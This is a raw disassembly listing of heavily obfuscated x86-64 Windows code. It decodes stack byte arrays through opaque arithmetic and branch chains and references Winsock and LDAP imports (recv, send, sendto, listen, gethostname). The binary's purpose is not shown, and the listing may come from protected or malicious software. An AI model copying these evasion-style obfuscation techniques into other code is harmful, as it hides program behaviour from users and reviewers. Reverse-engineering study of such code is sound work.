movabs rcx, 0xd11da5b2bb0df630
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082b52
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140082f91
movabs rdx, 0xf2350fc7c4e67320
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008367c
mov byte [rbp + rdi + 0xd60], r11b
inc rdi
jmp 0x140082b52
movabs rdx, 0xb8c18c45fff960c0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xd60]
sub r11b, al
sub r11b, 0x40
jmp 0x14008364d
movabs rdx, 0xd9d8f65b09d1ddb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400836bb
movabs rdx, 0x548949a3ffd8448
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082b52
movabs rcx, 0xe4312a8536250758
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x14008370a
movabs rdx, 0xc319c0702c4c8a68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400836bb
movabs rcx, 0xa202565b22740d78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082b52
movabs rdx, 0x3ebc181c04ea96a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140082b52
movabs rcx, 0xfc8d43f1f1399cc8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x1400835fc
movabs rcx, 0xba5e6fc7dd88a2e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
movabs rdx, 0x2835d73b7b0d2248
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xd60], cl
inc r9
dec rdi
inc rdi
jmp 0x140082b52
movabs rdx, 0x57183188bfff2c18
mov ecx, Ordinal_46
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x494d415084e59f38
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r11b
mov byte [rbp + rdi + 0xd60], dl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140082b52
mov rbx, r10
movabs rdx, 0xf3d1f349a275b548
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0x6a64ab658ebe1c28
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x18
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xd60], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14008370e
movabs rcx, 0xd2ba8934989d3858
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
movzx ebx, r10b
sub r11b, 0x68
movabs rcx, 0xfaf0607013aa5aa0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x60
add bl, cl
mov byte [rbp + rdi + 0xd60], bl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082b52
movabs rdx, 0xb1a31f1f8ec4bb68
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xd60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140082b52
movabs rcx, 0x18950e770ebc7458
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140082b50
movabs rdx, 0xf77da46204e3f768
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082b40
lea rsi, [rbp + 0x17a0600]
jmp 0x1400837f6
lea rsi, [rbp + 0xe64478]
jmp 0x1400837f6
lea rsi, [rbp + 0xd60]
lea rdx, [0x14021adb0]
lea rcx, [rbp + 0x5e0]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x20]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [rdi + 0x38], 0
jne 0x1400a26f3
mov byte [rbp + 0xd88], 0xf4
mov byte [rbp + 0xd89], 8
mov byte [rbp + 0xd8a], 1
mov byte [rbp + 0xd8b], 7
mov byte [rbp + 0xd8c], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xd8d], listen
mov byte [rbp + 0xd8e], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xd8f], reloc.WS2_32.dll_select
mov byte [rbp + 0xd90], 0x88
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd91], xmm0
mov qword [rbp + 0xda1], rax
mov word [rbp + 0xda9], ax
movabs r15, 0xf429435fe25a4d78
movabs r14, 0x74af996247f43188
movabs r12, 0xa69349d30dd33658
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
movabs rcx, 0xe70e27c79d107d98
cmp rbx, 0x23
jae 0x140084559
movzx r11d, byte [rbp + rbx + 0xd88]
mov edx, r11d
cmp r8, rbx
ja 0x14008454d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140083920
add rcx, rbx
mov eax, edx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x28
jmp 0x140083966
je 0x1400844c0
inc rax
cmp r8, rax
je 0x140084427
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400843f4
lea rax, [r9 + 5]
cmp r8, rax
je 0x140084396
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008436b
lea rax, [r9 + 6]
cmp r8, rax
je 0x140084339
cmp r9, rbx
ja 0x140084541
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x140083994
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
jmp 0x1400839e0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400842e0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400842b6
lea rax, [r9 + 5]
cmp r8, rax
je 0x140084282
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008425e
lea rax, [r9 + 6]
cmp r8, rax
je 0x140084229
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140083f1d
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x140083ef9
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140083ecb
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140083ea7
lea rax, [r9 + 8]
cmp r8, rax
je 0x140083e70
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140083e37
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140083e13
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140083def
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400839f0
lea r8, [r9 + 0x10]
lea r9, [r8 + 2]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008451d
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400844f4
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140083b6f
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140083b4f
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140083d89
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140083cff
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140083ccb
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400839f0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x80]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140083c91
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140083c6d
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140083c34
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140083c01
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140083bdd
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140083bae
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140083b8a
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400839f0
lea r8, [r9 + 0x40]
lea r9, [r8 + 5]
jmp 0x1400839f0
lea rdx, [rbx + r14]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400839e0
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x140083966
movabs rcx, 0xa14a1aff12d26bc0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x140084304
movabs rdx, 0x5117be09e907560
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400838d2
movabs rcx, 0x36f52c51646f7a30
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x1400843b5
movabs rcx, 0x68d8dcc22a4e7f00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
movabs rdx, 0x9abc8d32f02d83d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
movabs rcx, 0xfe83ee147beb8d70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x140084476
movabs rdx, 0x30679e8541ca9240
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400838d2
movabs rdx, 0xad20d79f30781e48
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0xd88], r10b
inc rbx
jmp 0x1400838d2
movabs rcx, 0x10e83880bc3627e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
cmp r8, 0x42
jae 0x1400841d3
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400840f8
movabs rdx, 0x288bdf04f483ab0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 3
jb 0x140083cef
movabs rcx, 0xfa3d98894920a90
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140084304
movabs rcx, 0x42cbe8f182152cb8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
lea rax, [r8 + r9]
cmp rax, 0x2a
je 0x140084203
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x14008402c
movabs rdx, 0xe5f7a906ceded38
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140083d1e
movabs rcx, 0xeadb44b013fcd5a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x140084476
movabs rcx, 0x1cbef520d9dbda70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x140084442
movabs rdx, 0x4ea2a5919fbadf40
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
movabs rcx, 0x808656026599e410
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
movabs rcx, 0xb26a06732b78e8e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400843b5
movabs rcx, 0x16316754b736f280
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400838d2
movabs rcx, 0x481517c57d15f750
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x140084304
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140083f51
movabs rcx, 0xe70e27c79d107d98
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x140083da8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140083f94
movabs rdx, 0xe85286bfc4b49af0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400838d2
inc rax
cmp r8, rax
jne 0x140083fc4
movabs rcx, 0x848b25de38f69150
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x140084442
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140083ff5
movabs rcx, 0xeee0148be75982e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400843b5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140083da8
movabs rcx, 0xbcfc641b217a7e10
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
dec rbx
inc rbx
jmp 0x1400838d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008404d
movabs rdx, 0xdc7bca1fa70ee868
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400842ef
inc rax
cmp r8, rax
jne 0x140084082
movabs rcx, 0xaa9819aee12fe398
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
inc r9
dec rbx
inc rbx
jmp 0x1400838d2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400840c2
movabs rcx, 0x14ed085c8f92d528
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140083d1e
movabs rdx, 0xb125a77b03d4cb88
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140084442
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140084136
movabs rcx, 0xd0a50d7f896935e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
movzx eax, byte [rbp + rbx + 0xd88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400838d2
inc rax
cmp r8, rax
jne 0x140084172
movabs rcx, 0x3af9fc2d37cc2770
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400841b2
movabs rcx, 0x9164bbc71ed22a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140083d59
movabs rdx, 0x418789f95a710f60
mov ecx, Ordinal_50
jmp 0x1400842ef
movabs rdx, 0xddc02917ceb305c0
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xd88]
sub r10b, al
sub r10b, 0x40
add r10b, dl
add r10b, r11b
jmp 0x1400843b5
movabs rdx, 0xabdc78a708d400f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140084442
movabs rcx, 0x33280f68ed832228
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
movzx eax, byte [rbp + rbx + 0xd88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400838d2
movabs rcx, 0x96ef704a79412bc8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x140084442
movabs rcx, 0xc8d320bb3f203098
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
movabs rcx, 0x5e7e320d90bd3f08
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
dec rbx
inc rbx
jmp 0x1400838d2
movabs rdx, 0xc24592ef1c7b48a8
mov ecx, 0x34
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0xf6b2015031a28828
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x18
add r11b, cl
mov byte [rbp + rbx + 0xd88], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400838d2
movabs rdx, 0x57f0a4416e185718
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400838d2
movabs rcx, 0x89d454b233f75be8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
dec rbx
inc rbx
jmp 0x1400838d2
movabs rcx, 0xbbb80522f9d660b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
movabs rcx, 0xc4ce50df6bc38358
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x68
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xd88], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
movabs rcx, 0x1f7f660485946a58
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x68
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400838d2
movabs rax, 0x516316754b736f28
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x18
movabs rdx, 0x92eaa06ea5e47e88
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xd88], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x79f8c83642f4fc20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xd88], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400838d2
movabs rcx, 0xb52a7756d73178c8
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0xd88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400838d2
movabs rdx, 0xa5aaab499913ff8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400838ce
movabs rcx, 0x3c3e5b255f7044c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x1400838b6
lea rcx, [rbp + 0x1546fa8]
jmp 0x140084560
lea rcx, [rbp + 0x64ed40]
jmp 0x140084560
lea rcx, [rbp + 0xd88]
mov dword [rbp + 0xf40], 0x2710
mov dword [rbp + 0xf48], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf40]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf48]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.1400375c0
mov byte [rbp + 0xdb0], 0xf9
mov byte [rbp + 0xdb1], 0xba
mov byte [rbp + 0xdb2], 0
mov byte [rbp + 0xdb3], Ordinal_211
mov byte [rbp + 0xdb4], 0xae
mov byte [rbp + 0xdb5], 0x52
mov byte [rbp + 0xdb6], 0x40
mov byte [rbp + 0xdb7], 0x52
mov byte [rbp + 0xdb8], 0xde
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdb9], xmm0
mov qword [rbp + 0xdc9], rax
mov word [rbp + 0xdd1], ax
movabs rdi, 0x4ccd797de3eef97
movabs rsi, 0x68ea5611cb3f0d49
movabs r15, 0xb715f1e2a90f2ffb
movabs r14, 0xfabe724c7920ad53
movabs r12, 0x8c928e8727024d5d
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400853b8
movzx r11d, byte [rbp + rbx + 0xdb0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400853ac
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400846a0
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x23
jmp 0x1400846d0
je 0x140085324
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008528a
lea rax, [r9 + 5]
cmp r8, rax
je 0x140085253
lea rax, [r9 + 2]
cmp r8, rax
je 0x140085226
nop dword [rax]
cmp r9, rbx
ja 0x1400853a0
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400846fe
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
jmp 0x140084731
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400851d2
inc rax
cmp r8, rax
je 0x1400851a5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008517b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140085147
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140084d9c
nop
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140084d73
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140084d41
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140084d17
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140084cf3
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140084cca
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140084c91
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140084c6d
lea rax, [r9 + 3]
cmp r8, rax
je 0x140084c49
lea rax, [r9 + 2]
cmp r8, rax
je 0x140084c0f
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140084740
lea r8, [r9 + 4]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008537c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140085358
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008492f
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140084914
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400848fa
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140084bad
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140084b4e
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140084b02
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140084ad3
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140084740
lea r8, [r9 + 2]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140084a9d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140084a74
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140084a4b
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140084a17
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400849f3
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400849ca
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008499b
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008496e
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008494a
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140084740
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x28]
jmp 0x140084740
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r10b
jmp 0x140084731
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x45
jmp 0x1400846d0
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
jmp 0x140084665
movabs rcx, 0x2666bcbef1f77cb8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x1400851f1
movabs rcx, 0xb83ad8f99fd91cc2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
inc r9
dec rbx
inc rbx
jmp 0x140084652
movabs rdx, 0x4a0ef5344dbabccc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140084652
movabs rdx, 0xdbe3116efb9c5cd6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
